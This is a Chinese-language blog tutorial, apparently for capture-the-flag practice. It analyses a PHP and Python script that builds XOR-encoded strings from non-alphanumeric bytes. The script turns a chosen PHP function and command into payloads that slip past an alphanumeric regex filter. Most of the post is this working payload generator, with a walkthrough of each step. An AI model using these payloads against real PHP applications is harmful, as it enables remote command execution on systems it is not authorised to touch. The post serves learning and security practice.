一个异或脚本的分析与使用

发布于 2023-03-13  430 次阅读


  • 先上脚本,php生成字典,python接收参数并读字典
<?php
    $myfile = fopen("res.txt", "w");
    $contents="";
    for ($i=0; $i < 256; $i++) { 
      for ($j=0; $j <256 ; $j++) { 

        if($i<16){
          $hex_i='0'.dechex($i);
        }
        else{
          $hex_i=dechex($i);
        }
        if($j<16){
          $hex_j='0'.dechex($j);
        }
        else{
          $hex_j=dechex($j);
        }
        $preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可
        if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
              echo "";
        }

        else{
        $a='%'.$hex_i;
        $b='%'.$hex_j;
        $c=(urldecode($a)^urldecode($b));
        if (ord($c)>=32&ord($c)<=126) {
          $contents=$contents.$c." ".$a." ".$b."\n";
        }
      }

    }
    }
    fwrite($myfile,$contents);
    fclose($myfile);
def action(arg):
    s1=""
    s2=""
    for i in arg:
        f=open("res.txt","r")
        while True:
            t=f.readline()
            if t=="":
                break
            if t[0]==i:
                #print(i)
                s1+=t[2:5]
                s2+=t[6:9]
                break
        f.close()
    output="(\""+s1+"\"^\""+s2+"\")"
    return(output)

while True:
    param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
    print(param)
  • 程序循环生成两个16进制数
for ($i=0; $i < 256; $i++) { 
      for ($j=0; $j <256 ; $j++) { 

        if($i<16){
          $hex_i='0'.dechex($i);
        }
        else{
          $hex_i=dechex($i);
        }
        if($j<16){
          $hex_j='0'.dechex($j);
        }
        else{
          $hex_j=dechex($j);
        }
  • 然后取他们的异或结果,对结果进行筛选
  • 第一次筛选出会被正则匹配掉的异或
$preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可
        if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
              echo "";
  • 第二次筛选保证异或得到的是常用的字符串
 else{
        $a='%'.$hex_i;
        $b='%'.$hex_j;
        $c=(urldecode($a)^urldecode($b));
        if (ord($c)>=32&ord($c)<=126) {
          $contents=$contents.$c." ".$a." ".$b."\n";
        }
      }
  • 将结果输出到文件,因为循环写的是256,最大的数是ff(255),而未达到16的数全部被加了0占位,所以输出格式就被统一成了
1 %0b %3a
  • 那么我们可以用python把两个异或的字符串提取出来
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"^\""+s2+"\")"
  • 这里用到异或的一种写法,如果("x"^"y")是a,("o"^"p")是b,那么ab可以不用写作("x"^"y").("o"^"p")而是可以直接写作("xo"^"yp")
届ける言葉を今は育ててる
最后更新于 2024-02-07